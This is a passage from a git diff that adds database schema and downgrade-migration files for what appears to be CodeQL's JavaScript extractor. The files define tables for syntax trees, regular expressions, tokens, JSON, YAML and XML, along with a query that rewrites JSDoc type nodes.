+          varchar(900) tostring: string ref);
+
+case @comment.kind of
+  0 = @slashslash_comment
+| 1 = @slashstar_comment
+| 2 = @doc_comment
+| 3 = @html_comment_start
+| 4 = @htmlcommentend;
+
+@html_comment = @html_comment_start | @htmlcommentend;
+@line_comment = @slashslash_comment | @html_comment;
+@block_comment = @slashstar_comment | @doc_comment;
+
+// source lines
+lines (unique int id: @line,
+       int toplevel: @toplevel ref,
+       varchar(900) text: string ref,
+       varchar(2) terminator: string ref);
+indentation (int file: @file ref,
+            int lineno: int ref,
+            varchar(1) indentChar: string ref,
+            int indentDepth: int ref);
+
+// JavaScript parse errors
+js_parse_errors (unique int id: @js_parse_error,
+        int toplevel: @toplevel ref,
+        varchar(900) message: string ref,
+        varchar(900) line: string ref);
+
+// regular expressions
+#keyset[parent, idx]
+regexpterm (unique int id: @regexpterm,
+        int kind: int ref,
+        int parent: @regexpparent ref,
+        int idx: int ref,
+        varchar(900) tostring: string ref);
+
+@regexpparent = @regexpterm | @regexp_literal | @string_literal | @add_expr;
+
+case @regexpterm.kind of
+   0 = @regexp_alt
+|  1 = @regexp_seq
+|  2 = @regexp_caret
+|  3 = @regexp_dollar
+|  4 = @regexp_wordboundary
+|  5 = @regexp_nonwordboundary
+|  6 = @regexp_positive_lookahead
+|  7 = @regexp_negative_lookahead
+|  8 = @regexp_star
+|  9 = @regexp_plus
+| 10 = @regexp_opt
+| 11 = @regexp_range
+| 12 = @regexp_dot
+| 13 = @regexp_group
+| 14 = @regexp_normal_constant
+| 15 = @regexp_hex_escape
+| 16 = @regexp_unicode_escape
+| 17 = @regexp_dec_escape
+| 18 = @regexp_oct_escape
+| 19 = @regexp_ctrl_escape
+| 20 = @regexp_char_class_escape
+| 21 = @regexp_id_escape
+| 22 = @regexp_backref
+| 23 = @regexp_char_class
+| 24 = @regexp_char_range
+| 25 = @regexp_positive_lookbehind
+| 26 = @regexp_negative_lookbehind
+| 27 = @regexp_unicode_property_escape;
+
+regexp_parse_errors (unique int id: @regexp_parse_error,
+    int regexp: @regexpterm ref,
+    varchar(900) message: string ref);
+
+@regexp_quantifier = @regexp_star | @regexp_plus | @regexp_opt | @regexp_range;
+@regexp_escape = @regexp_char_escape | @regexp_char_class_escape | @regexp_unicode_property_escape;
+@regexp_char_escape = @regexp_hex_escape | @regexp_unicode_escape | @regexp_dec_escape | @regexp_oct_escape | @regexp_ctrl_escape | @regexp_id_escape;
+@regexp_constant = @regexp_normal_constant | @regexp_char_escape;
+@regexp_lookahead = @regexp_positive_lookahead | @regexp_negative_lookahead;
+@regexp_lookbehind = @regexp_positive_lookbehind | @regexp_negative_lookbehind;
+@regexp_subpattern = @regexp_lookahead | @regexp_lookbehind;
+@regexp_anchor = @regexp_dollar | @regexp_caret;
+
+is_greedy (int id: @regexp_quantifier ref);
+range_quantifier_lower_bound (unique int id: @regexp_range ref, int lo: int ref);
+range_quantifier_upper_bound (unique int id: @regexp_range ref, int hi: int ref);
+is_capture (unique int id: @regexp_group ref, int number: int ref);
+is_named_capture (unique int id: @regexp_group ref, string name: string ref);
+is_inverted (int id: @regexp_char_class ref);
+regexp_const_value (unique int id: @regexp_constant ref, varchar(1) value: string ref);
+char_class_escape (unique int id: @regexp_char_class_escape ref, varchar(1) value: string ref);
+backref (unique int id: @regexp_backref ref, int value: int ref);
+named_backref (unique int id: @regexp_backref ref, string name: string ref);
+unicode_property_escapename (unique int id: @regexp_unicode_property_escape ref, string name: string ref);
+unicode_property_escapevalue (unique int id: @regexp_unicode_property_escape ref, string value: string ref);
+
+// tokens
+#keyset[toplevel, idx]
+tokeninfo (unique int id: @token,
+    int kind: int ref,
+    int toplevel: @toplevel ref,
+    int idx: int ref,
+    varchar(900) value: string ref);
+
+case @token.kind of
+  0 = @token_eof
+| 1 = @token_null_literal
+| 2 = @token_boolean_literal
+| 3 = @token_numeric_literal
+| 4 = @token_string_literal
+| 5 = @token_regular_expression
+| 6 = @token_identifier
+| 7 = @token_keyword
+| 8 = @token_punctuator;
+
+// associate comments with the token immediately following them (which may be EOF)
+next_token (int comment: @comment ref, int token: @token ref);
+
+// JSON
+#keyset[parent, idx]
+json (unique int id: @json_value,
+      int kind: int ref,
+      int parent: @json_parent ref,
+      int idx: int ref,
+      varchar(900) tostring: string ref);
+
+json_literals (varchar(900) value: string ref,
+      varchar(900) raw: string ref,
+      unique int expr: @json_value ref);
+
+json_properties (int obj: @json_object ref,
+      varchar(900) property: string ref,
+      int value: @json_value ref);
+
+json_errors (unique int id: @json_parse_error,
+      varchar(900) message: string ref);
+
+json_locations(unique int locatable: @json_locatable ref,
+      int location: @location_default ref);
+
+case @json_value.kind of
+  0 = @json_null
+| 1 = @json_boolean
+| 2 = @json_number
+| 3 = @json_string
+| 4 = @json_array
+| 5 = @json_object;
+
+@json_parent = @json_object | @json_array | @file;
+
+@json_locatable = @json_value | @json_parse_error;
+
+// locations
+@ast_node = @toplevel | @stmt | @expr | @property | @typeexpr;
+
+@locatable = @file
+    | @ast_node
+    | @comment
+    | @line
+    | @js_parse_error | @regexp_parse_error
+    | @regexpterm
+    | @json_locatable
+    | @token
+    | @cfg_node
+    | @jsdoc | @jsdoc_type_expr | @jsdoc_tag
+    | @yaml_locatable
+    | @xmllocatable
+    | @configLocatable
+    | @template_placeholder_tag;
+
+hasLocation (unique int locatable: @locatable ref,
+    int location: @location ref);
+
+// CFG
+entry_cfg_node (unique int id: @entry_node, int container: @stmt_container ref);
+exit_cfg_node (unique int id: @exit_node, int container: @stmt_container ref);
+guard_node (unique int id: @guard_node, int kind: int ref, int test: @expr ref);
+case @guard_node.kind of
+  0 = @falsy_guard
+| 1 = @truthy_guard;
+@condition_guard = @falsy_guard | @truthy_guard;
+
+@synthetic_cfg_node = @entry_node | @exit_node | @guard_node;
+@cfg_node = @synthetic_cfg_node | @expr_parent;
+
+successor (int pred: @cfg_node ref, int succ: @cfg_node ref);
+
+// JSDoc comments
+jsdoc (unique int id: @jsdoc, varchar(900) description: string ref, int comment: @comment ref);
+#keyset[parent, idx]
+jsdoc_tags (unique int id: @jsdoc_tag, varchar(900) title: string ref,
+            int parent: @jsdoc ref, int idx: int ref, varchar(900) tostring: string ref);
+jsdoc_tag_descriptions (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref);
+jsdoc_tag_names (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref);
+
+#keyset[parent, idx]
+jsdoc_type_exprs (unique int id: @jsdoc_type_expr,
+                  int kind: int ref,
+                  int parent: @jsdoc_type_expr_parent ref,
+                  int idx: int ref,
+                  varchar(900) tostring: string ref);
+case @jsdoc_type_expr.kind of
+    0 = @jsdoc_any_type_expr
+|   1 = @jsdoc_null_type_expr
+|   2 = @jsdoc_undefined_type_expr
+|   3 = @jsdoc_unknown_type_expr
+|   4 = @jsdoc_void_type_expr
+|   5 = @jsdoc_named_type_expr
+|   6 = @jsdoc_applied_type_expr
+|   7 = @jsdoc_nullable_type_expr
+|   8 = @jsdoc_non_nullable_type_expr
+|   9 = @jsdoc_record_type_expr
+|  10 = @jsdoc_array_type_expr
+|  11 = @jsdoc_union_type_expr
+|  12 = @jsdoc_function_type_expr
+|  13 = @jsdoc_optional_type_expr
+|  14 = @jsdoc_rest_type_expr
+;
+
+#keyset[id, idx]
+jsdoc_record_field_name (int id: @jsdoc_record_type_expr ref, int idx: int ref, varchar(900) name: string ref);
+jsdoc_prefix_qualifier (int id: @jsdoc_type_expr ref);
+jsdoc_has_new_parameter (int fn: @jsdoc_function_type_expr ref);
+
+@jsdoc_type_expr_parent = @jsdoc_type_expr | @jsdoc_tag;
+
+jsdoc_errors (unique int id: @jsdoc_error, int tag: @jsdoc_tag ref, varchar(900) message: string ref, varchar(900) tostring: string ref);
+
+@dataflownode = @expr | @function_decl_stmt | @class_decl_stmt | @namespace_declaration | @enum_declaration | @property;
+
+@optionalchainable = @call_expr | @propaccess;
+
+isOptionalChaining(int id: @optionalchainable ref);
+
+/**
+ * The time taken for the extraction of a file.
+ * This table contains non-deterministic content.
+ *
+ * The sum of the `time` column for each (`file`, `timerKind`) pair
+ * is the total time taken for extraction of `file`.  The `extractionPhase`
+ * column provides a granular view of the extraction time of the file.
+ */
+extraction_time(
+  int file : @file ref,
+  // see `com.semmle.js.extractor.ExtractionMetrics.ExtractionPhase`.
+  int extractionPhase: int ref,
+  // 0 for the elapsed CPU time in nanoseconds, 1 for the elapsed wallclock time in nanoseconds
+  int timerKind: int ref,
+  float time: float ref
+)
+
+/**
+* Non-timing related data for the extraction of a single file.
+* This table contains non-deterministic content.
+*/
+extraction_data(
+  int file : @file ref,
+  // the absolute path to the cache file
+  varchar(900) cacheFile: string ref,
+  boolean fromCache: boolean ref,
+  int length: int ref
+)
+
+/*- YAML -*/
+
+#keyset[parent, idx]
+yaml (unique int id: @yaml_node,
+      int kind: int ref,
+      int parent: @yaml_node_parent ref,
+      int idx: int ref,
+      string tag: string ref,
+      string tostring: string ref);
+
+case @yaml_node.kind of
+  0 = @yaml_scalar_node
+| 1 = @yaml_mapping_node
+| 2 = @yaml_sequence_node
+| 3 = @yaml_alias_node
+;
+
+@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node;
+
+@yaml_node_parent = @yaml_collection_node | @file;
+
+yaml_anchors (unique int node: @yaml_node ref,
+              string anchor: string ref);
+
+yaml_aliases (unique int alias: @yaml_alias_node ref,
+              string target: string ref);
+
+yaml_scalars (unique int scalar: @yaml_scalar_node ref,
+              int style: int ref,
+              string value: string ref);
+
+yaml_errors (unique int id: @yaml_error,
+             string message: string ref);
+
+yaml_locations(unique int locatable: @yaml_locatable ref,
+             int location: @location_default ref);
+
+@yaml_locatable = @yaml_node | @yaml_error;
+
+/*- XML Files -*/
+
+xmlEncoding(
+  unique int id: @file ref,
+  string encoding: string ref
+);
+
+xmlDTDs(
+  unique int id: @xmldtd,
+  string root: string ref,
+  string publicId: string ref,
+  string systemId: string ref,
+  int fileid: @file ref
+);
+
+xmlElements(
+  unique int id: @xmlelement,
+  string name: string ref,
+  int parentid: @xmlparent ref,
+  int idx: int ref,
+  int fileid: @file ref
+);
+
+xmlAttrs(
+  unique int id: @xmlattribute,
+  int elementid: @xmlelement ref,
+  string name: string ref,
+  string value: string ref,
+  int idx: int ref,
+  int fileid: @file ref
+);
+
+xmlNs(
+  int id: @xmlnamespace,
+  string prefixName: string ref,
+  string URI: string ref,
+  int fileid: @file ref
+);
+
+xmlHasNs(
+  int elementId: @xmlnamespaceable ref,
+  int nsId: @xmlnamespace ref,
+  int fileid: @file ref
+);
+
+xmlComments(
+  unique int id: @xmlcomment,
+  string text: string ref,
+  int parentid: @xmlparent ref,
+  int fileid: @file ref
+);
+
+xmlChars(
+  unique int id: @xmlcharacters,
+  string text: string ref,
+  int parentid: @xmlparent ref,
+  int idx: int ref,
+  int isCDATA: int ref,
+  int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+  int xmlElement: @xmllocatable ref,
+  int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace;
+
+/*- Configuration files with key value pairs -*/
+
+configs(
+  unique int id: @config
+);
+
+configNames(
+  unique int id: @configName,
+  int config: @config ref,
+  string name: string ref
+);
+
+configValues(
+  unique int id: @configValue,
+  int config: @config ref,
+  string value: string ref
+);
+
+configLocations(
+  int locatable: @configLocatable ref,
+  int location: @location_default ref
+);
+
+@configLocatable = @config | @configName | @configValue;
diff --git a/javascript/downgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/upgrade.properties b/javascript/downgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/upgrade.properties
new file mode 100644
index 000000000000..13f42c6a9d1b
--- /dev/null
+++ b/javascript/downgrades/5b5db607d20c7b449cef2d1c926b24d77c69bebb/upgrade.properties
@@ -0,0 +1,2 @@
+description: Add support for quoted string, intersection and subtraction
+compatibility: backwards
diff --git a/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/jsdoc_type_exprs.ql b/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/jsdoc_type_exprs.ql
new file mode 100644
index 000000000000..4f12eb443f93
--- /dev/null
+++ b/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/jsdoc_type_exprs.ql
@@ -0,0 +1,37 @@
+// Removes all nodes nested inside a qualified type access,
+// and changes qualified type access nodes to "named type" nodes.
+//
+/*
+ * jsdoc_type_exprs (unique int id: @jsdoc_type_expr,
+ *                  int kind: int ref,
+ *                  int parent: @jsdoc_type_expr_parent ref,
+ *                  int idx: int ref,
+ *                  varchar(900) tostring: string ref);
+ */
+
+class JSDocTypeExprParent extends @jsdoc_type_expr_parent {
+  string toString() { none() }
+}
+
+class JSDocTypeExpr extends @jsdoc_type_expr {
+  string toString() { none() }
+
+  JSDocTypeExpr getChild(int n) { jsdoc_type_exprs(result, _, this, n, _) }
+
+  int getNewKind() { jsdoc_type_exprs(this, result, _, _, _) }
+
+  predicate shouldRemove() { this = any(JSDocQualifiedTypeAccess a).getChild(_) }
+}
+
+class JSDocQualifiedTypeAccess extends @jsdoc_qualified_type_expr, JSDocTypeExpr {
+  override int getNewKind() {
+    result = 5
+    /* 5 = @jsdoc_named_type_expr */
+  }
+}
+
+from JSDocTypeExpr node, JSDocTypeExprParent parent, int idx, string tostring
+where
+  jsdoc_type_exprs(node, _, parent, idx, tostring) and
+  not node.shouldRemove()
+select node, node.getNewKind(), parent, idx, tostring
diff --git a/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/old.dbscheme b/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/old.dbscheme
new file mode 100644
index 000000000000..ccefb5e2d493
--- /dev/null
+++ b/javascript/downgrades/ccefb5e2d49318eea4aeafd4c6ae2af9f94ac72a/old.dbscheme
@@ -0,0 +1,1194 @@
+/*** Standard fragments ***/
+
+/*- Files and folders -*/
+
+/**
+ * The location of an element.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_default(
+  unique int id: @location_default,
+  int file: @file ref,
+  int beginLine: int ref,
+  int beginColumn: int ref,
+  int endLine: int ref,
+  int endColumn: int ref
+);
+
+files(
+  unique int id: @file,
+  string name: string ref
+);
+
+folders(
+  unique int id: @folder,
+  string name: string ref
+);
+
+@container = @file | @folder
+
+containerparent(
+  int parent: @container ref,
+  unique int child: @container ref
+);
+
+/*- Lines of code -*/
+
+numlines(
+  int element_id: @sourceline ref,
+  int num_lines: int ref,
+  int num_code: int ref,
+  int num_comment: int ref
+);
+
+/*- External data -*/
+
+/**
+ * External data, loaded from CSV files during snapshot creation. See
+ * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data)
+ * for more information.
+ */
+externalData(
+  int id : @externalDataElement,
+  string path : string ref,
+  int column: int ref,
+  string value : string ref
+);
+
+/*- Source location prefix -*/
+
+/**
+ * The source location of the snapshot.
+ */
+sourceLocationPrefix(string prefix : string ref);
+
+/*- JavaScript-specific part -*/
+
+@location = @location_default
+
+@sourceline = @locatable;
+
+filetype(
+  int file: @file ref,
+  string filetype: string ref
+)
+
+// top-level code fragments
+toplevels (unique int id: @toplevel,
+           int kind: int ref);
+
+is_externs (int toplevel: @toplevel ref);
+
+case @toplevel.kind of
+   0 = @script
+|  1 = @inline_script
+|  2 = @event_handler
+|  3 = @javascript_url
+|  4 = @template_toplevel;
+
+is_module (int tl: @toplevel ref);
+is_nodejs (int tl: @toplevel ref);
+is_es2015_module (int tl: @toplevel ref);
+is_closure_module (int tl: @toplevel ref);
+
+@xml_node_with_code = @xmlelement | @xmlattribute | @template_placeholder_tag;
+toplevel_parent_xml_node(
+  unique int toplevel: @toplevel ref,
+  int xmlnode: @xml_node_with_code ref);
+
+xml_element_parent_expression(
+  unique int xmlnode: @xmlelement ref,
+  int expression: @expr ref,
+  int index: int ref);
+
+// statements
+#keyset[parent, idx]
+stmts (unique int id: @stmt,
+       int kind: int ref,
+       int parent: @stmt_parent ref,
+       int idx: int ref,
+       varchar(900) tostring: string ref);
+
+stmt_containers (unique int stmt: @stmt ref,
+       int container: @stmt_container ref);
+
+jump_targets (unique int jump: @stmt ref,
+       int target: @stmt ref);
+
+@stmt_parent = @stmt | @toplevel | @function_expr | @arrow_function_expr | @static_initializer;
+@stmt_container = @toplevel | @function | @namespace_declaration | @external_module_declaration | @global_augmentation_declaration;
+
+case @stmt.kind of
+   0 = @empty_stmt
+|  1 = @block_stmt
+|  2 = @expr_stmt
+|  3 = @if_stmt
+|  4 = @labeled_stmt
+|  5 = @break_stmt
+|  6 = @continue_stmt
+|  7 = @with_stmt
+|  8 = @switch_stmt
+|  9 = @return_stmt
+| 10 = @throw_stmt
+| 11 = @try_stmt
+| 12 = @while_stmt
+| 13 = @do_while_stmt
+| 14 = @for_stmt
+| 15 = @for_in_stmt
+| 16 = @debugger_stmt
+| 17 = @function_decl_stmt
+| 18 = @var_decl_stmt
+| 19 = @case
+| 20 = @catch_clause
+| 21 = @for_of_stmt
+| 22 = @const_decl_stmt
+| 23 = @let_stmt
+| 24 = @legacy_let_stmt
+| 25 = @for_each_stmt
+| 26 = @class_decl_stmt
+| 27 = @import_declaration
+| 28 = @export_all_declaration
+| 29 = @export_default_declaration
+| 30 = @export_named_declaration
+| 31 = @namespace_declaration
+| 32 = @import_equals_declaration
+| 33 = @export_assign_declaration
+| 34 = @interface_declaration
+| 35 = @type_alias_declaration
+| 36 = @enum_declaration
+| 37 = @external_module_declaration
+| 38 = @export_as_namespace_declaration
+| 39 = @global_augmentation_declaration
+| 40 = @using_decl_stmt
+;
+
+@decl_stmt = @var_decl_stmt | @const_decl_stmt | @let_stmt | @legacy_let_stmt | @using_decl_stmt;
+
+@export_declaration = @export_all_declaration | @export_default_declaration | @export_named_declaration;
+
+@namespace_definition = @namespace_declaration | @enum_declaration;
+@type_definition = @class_definition | @interface_declaration | @enum_declaration | @type_alias_declaration | @enum_member;
+
+is_instantiated(unique int decl: @namespace_declaration ref);
+
+@declarable_node = @decl_stmt | @namespace_declaration | @class_decl_stmt | @function_decl_stmt | @enum_declaration | @external_module_declaration | @global_augmentation_declaration | @field;
+has_declare_keyword(unique int stmt: @declarable_node ref);
+
+is_for_await_of(unique int forof: @for_of_stmt ref);
+
+// expressions
+#keyset[parent, idx]
+exprs (unique int id: @expr,
+       int kind: int ref,
+       int parent: @expr_parent ref,
+       int idx: int ref,
+       varchar(900) tostring: string ref);
+
+literals (varchar(900) value: string ref,
+       varchar(900) raw: string ref,
+       unique int expr: @expr_or_type ref);
+
+enclosing_stmt (unique int expr: @expr_or_type ref,
+       int stmt: @stmt ref);
+
+expr_containers (unique int expr: @expr_or_type ref,
+       int container: @stmt_container ref);
+
+array_size (unique int ae: @arraylike ref,
+       int sz: int ref);
+
+is_delegating (int yield: @yield_expr ref);
+
+@expr_or_stmt = @expr | @stmt;
+@expr_or_type = @expr | @typeexpr;
+@expr_parent = @expr_or_stmt | @property | @function_typeexpr;
+@arraylike = @array_expr | @array_pattern;
+@type_annotation = @typeexpr | @jsdoc_type_expr;
+@node_in_stmt_container = @cfg_node | @type_annotation | @toplevel;
+
+case @expr.kind of
+   0 = @label
+|  1 = @null_literal
+|  2 = @boolean_literal
+|  3 = @number_literal
+|  4 = @string_literal
+|  5 = @regexp_literal
+|  6 = @this_expr
+|  7 = @array_expr
+|  8 = @obj_expr
+|  9 = @function_expr
+| 10 = @seq_expr
+| 11 = @conditional_expr
+| 12 = @new_expr
+| 13 = @call_expr
+| 14 = @dot_expr
+| 15 = @index_expr
+| 16 = @neg_expr
+| 17 = @plus_expr
+| 18 = @log_not_expr
+| 19 = @bit_not_expr
+| 20 = @typeof_expr
+| 21 = @void_expr
+| 22 = @delete_expr
+| 23 = @eq_expr
+| 24 = @neq_expr
+| 25 = @eqq_expr
+| 26 = @neqq_expr
+| 27 = @lt_expr
+| 28 = @le_expr
+| 29 = @gt_expr
+| 30 = @ge_expr
+| 31 = @lshift_expr
+| 32 = @rshift_expr
+| 33 = @urshift_expr
+| 34 = @add_expr
+| 35 = @sub_expr
+| 36 = @mul_expr
+| 37 = @div_expr
+| 38 = @mod_expr
+| 39 = @bitor_expr
+| 40 = @xor_expr
+| 41 = @bitand_expr
+| 42 = @in_expr
+| 43 = @instanceof_expr
+| 44 = @logand_expr
+| 45 = @logor_expr
+| 47 = @assign_expr
+| 48 = @assign_add_expr
+| 49 = @assign_sub_expr
+| 50 = @assign_mul_expr
+| 51 = @assign_div_expr
+| 52 = @assign_mod_expr
+| 53 = @assign_lshift_expr
+| 54 = @assign_rshift_expr
+| 55 = @assign_urshift_expr
+| 56 = @assign_or_expr
+| 57 = @assign_xor_expr
+| 58 = @assign_and_expr
+| 59 = @preinc_expr
+| 60 = @postinc_expr
+| 61 = @predec_expr
+| 62 = @postdec_expr
+| 63 = @par_expr
+| 64 = @var_declarator
+| 65 = @arrow_function_expr
+| 66 = @spread_element
+| 67 = @array_pattern
+| 68 = @object_pattern
+| 69 = @yield_expr
+| 70 = @tagged_template_expr
+| 71 = @template_literal
+| 72 = @template_element
+| 73 = @array_comprehension_expr
+| 74 = @generator_expr
+| 75 = @for_in_comprehension_block
+| 76 = @for_of_comprehension_block
+| 77 = @legacy_letexpr
+| 78 = @var_decl
+| 79 = @proper_varaccess
+| 80 = @class_expr
+| 81 = @super_expr
+| 82 = @newtarget_expr
+| 83 = @named_import_specifier
+| 84 = @import_default_specifier
+| 85 = @import_namespace_specifier
+| 86 = @named_export_specifier
+| 87 = @exp_expr
+| 88 = @assign_exp_expr
+| 89 = @jsx_element
+| 90 = @jsx_qualified_name
+| 91 = @jsx_empty_expr
+| 92 = @await_expr
+| 93 = @function_sent_expr
+| 94 = @decorator
+| 95 = @export_default_specifier
+| 96 = @export_namespace_specifier
+| 97 = @bind_expr
+| 98 = @external_module_reference
+| 99 = @dynamic_import
+| 100 = @expression_with_type_arguments
+| 101 = @prefix_type_assertion
+| 102 = @as_type_assertion
+| 103 = @export_varaccess
+| 104 = @decorator_list
+| 105 = @non_null_assertion
+| 106 = @bigint_literal
+| 107 = @nullishcoalescing_expr
+| 108 = @e4x_xml_anyname
+| 109 = @e4x_xml_static_attribute_selector
+| 110 = @e4x_xml_dynamic_attribute_selector
+| 111 = @e4x_xml_filter_expression
+| 112 = @e4x_xml_static_qualident
+| 113 = @e4x_xml_dynamic_qualident
+| 114 = @e4x_xml_dotdotexpr
+| 115 = @import_meta_expr
+| 116 = @assignlogandexpr
+| 117 = @assignlogorexpr
+| 118 = @assignnullishcoalescingexpr
+| 119 = @template_pipe_ref
+| 120 = @generated_code_expr
+| 121 = @satisfies_expr
+;
+
+@varaccess = @proper_varaccess | @export_varaccess;
+@varref = @var_decl | @varaccess;
+
+@identifier = @label | @varref | @type_identifier;
+
+@literal = @null_literal | @boolean_literal | @number_literal | @string_literal | @regexp_literal | @bigint_literal;
+
+@propaccess = @dot_expr | @index_expr;
+
+@invokeexpr = @new_expr | @call_expr;
+
+@unaryexpr = @neg_expr | @plus_expr | @log_not_expr | @bit_not_expr | @typeof_expr | @void_expr | @delete_expr | @spread_element;
+
+@equality_test = @eq_expr | @neq_expr | @eqq_expr | @neqq_expr;
+
+@comparison = @equality_test | @lt_expr | @le_expr | @gt_expr | @ge_expr;
+
+@binaryexpr = @comparison | @lshift_expr | @rshift_expr | @urshift_expr | @add_expr | @sub_expr | @mul_expr | @div_expr | @mod_expr | @exp_expr | @bitor_expr | @xor_expr | @bitand_expr | @in_expr | @instanceof_expr | @logand_expr | @logor_expr | @nullishcoalescing_expr;
+
+@assignment = @assign_expr | @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr | @assign_mod_expr | @assign_exp_expr | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr | @assign_or_expr | @assign_xor_expr | @assign_and_expr | @assignlogandexpr | @assignlogorexpr | @assignnullishcoalescingexpr;
+
+@updateexpr = @preinc_expr | @postinc_expr | @predec_expr | @postdec_expr;
+
+@pattern = @varref | @array_pattern | @object_pattern;
+
+@comprehension_expr = @array_comprehension_expr | @generator_expr;
+
+@comprehension_block = @for_in_comprehension_block | @for_of_comprehension_block;
+
+@import_specifier = @named_import_specifier | @import_default_specifier | @import_namespace_specifier;
+
+@exportspecifier = @named_export_specifier | @export_default_specifier | @export_namespace_specifier;
+
+@type_keyword_operand = @import_declaration | @export_declaration | @import_specifier;
+
+@type_assertion = @as_type_assertion | @prefix_type_assertion;
+
+@class_definition = @class_decl_stmt | @class_expr;
+@interface_definition = @interface_declaration | @interface_typeexpr;
+@class_or_interface = @class_definition | @interface_definition;
+
+@lexical_decl = @var_decl | @type_decl;
+@lexical_access = @varaccess | @local_type_access | @local_var_type_access | @local_namespace_access;
+@lexical_ref = @lexical_decl | @lexical_access;
+
+@e4x_xml_attribute_selector = @e4x_xml_static_attribute_selector | @e4x_xml_dynamic_attribute_selector;
+@e4x_xml_qualident = @e4x_xml_static_qualident | @e4x_xml_dynamic_qualident;
+
+expr_contains_template_tag_location(
+  int expr: @expr ref,
+  int location: @location ref
+);
+
+@template_placeholder_tag_parent = @xmlelement | @xmlattribute | @file;
+
+template_placeholder_tag_info(
+  unique int node: @template_placeholder_tag,
+  int parentNode: @template_placeholder_tag_parent ref,
+  varchar(900) raw: string ref
+);
+
+// scopes
+scopes (unique int id: @scope,
+        int kind: int ref);
+
+case @scope.kind of
+   0 = @global_scope
+|  1 = @function_scope
+|  2 = @catch_scope
+|  3 = @module_scope
+|  4 = @block_scope
+|  5 = @for_scope
+|  6 = @for_in_scope // for-of scopes work the same as for-in scopes
+|  7 = @comprehension_block_scope
+|  8 = @class_expr_scope
+|  9 = @namespace_scope
+| 10 = @class_decl_scope
+| 11 = @interface_scope
+| 12 = @type_alias_scope
+| 13 = @mapped_type_scope
+| 14 = @enum_scope
+| 15 = @external_module_scope
+| 16 = @conditional_type_scope;
+
+scopenodes (unique int node: @ast_node ref,
+            int scope: @scope ref);
+
+scopenesting (unique int inner: @scope ref,
+              int outer: @scope ref);
+
+// functions
+@function = @function_decl_stmt | @function_expr | @arrow_function_expr;
+
+@parameterized = @function | @catch_clause;
+@type_parameterized = @function | @class_or_interface | @type_alias_declaration | @mapped_typeexpr | @infer_typeexpr;
+
+is_generator (int fun: @function ref);
+has_rest_parameter (int fun: @function ref);
+is_async (int fun: @function ref);
+
+// variables and lexically scoped type names
+#keyset[scope, name]
+variables (unique int id: @variable,
+           varchar(900) name: string ref,
+           int scope: @scope ref);
+
+#keyset[scope, name]
+local_type_names (unique int id: @local_type_name,
+                  varchar(900) name: string ref,
+                  int scope: @scope ref);
+
+#keyset[scope, name]
+local_namespace_names (unique int id: @local_namespace_name,
+                       varchar(900) name: string ref,
+                       int scope: @scope ref);
+
+is_arguments_object (int id: @variable ref);
+
+@lexical_name = @variable | @local_type_name | @local_namespace_name;
+
+@bind_id = @varaccess | @local_var_type_access;
+bind (unique int id: @bind_id ref,
+      int decl: @variable ref);
+
+decl (unique int id: @var_decl ref,
+      int decl: @variable ref);
+
+@typebind_id = @local_type_access | @export_varaccess;
+typebind (unique int id: @typebind_id ref,
+          int decl: @local_type_name ref);
+
+@typedecl_id = @type_decl | @var_decl;
+typedecl (unique int id: @typedecl_id ref,
+          int decl: @local_type_name ref);
+
+namespacedecl (unique int id: @var_decl ref,
+               int decl: @local_namespace_name ref);
+
+@namespacebind_id = @local_namespace_access | @export_varaccess;
+namespacebind (unique int id: @namespacebind_id ref,
+               int decl: @local_namespace_name ref);
+
+
+// properties in object literals, property patterns in object patterns, and method declarations in classes
+#keyset[parent, index]
+properties (unique int id: @property,
+            int parent: @property_parent ref,
+            int index: int ref,
+            int kind: int ref,
+            varchar(900) tostring: string ref);
+
+case @property.kind of
+  0 = @value_property
+| 1 = @property_getter
+| 2 = @property_setter
+| 3 = @jsx_attribute
+| 4 = @function_call_signature
+| 5 = @constructor_call_signature
+| 6 = @index_signature
+| 7 = @enum_member
+| 8 = @proper_field
+| 9 = @parameter_field
+| 10 = @static_initializer
+;
+
+@property_parent = @obj_expr | @object_pattern | @class_definition | @jsx_element | @interface_definition | @enum_declaration;
+@property_accessor = @property_getter | @property_setter;
+@call_signature = @function_call_signature | @constructor_call_signature;
+@field = @proper_field | @parameter_field;
+@field_or_vardeclarator = @field | @var_declarator;
+
+is_computed (int id: @property ref);
+is_method   (int id: @property ref);
+is_static   (int id: @property ref);
+is_abstract_member (int id: @property ref);
+is_const_enum (int id: @enum_declaration ref);
+is_abstract_class (int id: @class_decl_stmt ref);
+
+has_public_keyword (int id: @property ref);
+has_private_keyword (int id: @property ref);
+has_protected_keyword (int id: @property ref);
+has_readonly_keyword (int id: @property ref);
+has_type_keyword (int id: @type_keyword_operand ref);
+is_optional_member (int id: @property ref);
+has_definite_assignment_assertion (int id: @field_or_vardeclarator ref);
+is_optional_parameter_declaration (unique int parameter: @pattern ref);
+
+#keyset[constructor, param_index]
+parameter_fields(
+  unique int field: @parameter_field ref,
+  int constructor: @function_expr ref,
+  int param_index: int ref
+);
+
+// types
+#keyset[parent, idx]
+typeexprs (
+  unique int id: @typeexpr,
+  int kind: int ref,
+  int parent: @typeexpr_parent ref,
+  int idx: int ref,
+  varchar(900) tostring: string ref
+);
+
+case @typeexpr.kind of
+  0 = @local_type_access
+| 1 = @type_decl
+| 2 = @keyword_typeexpr
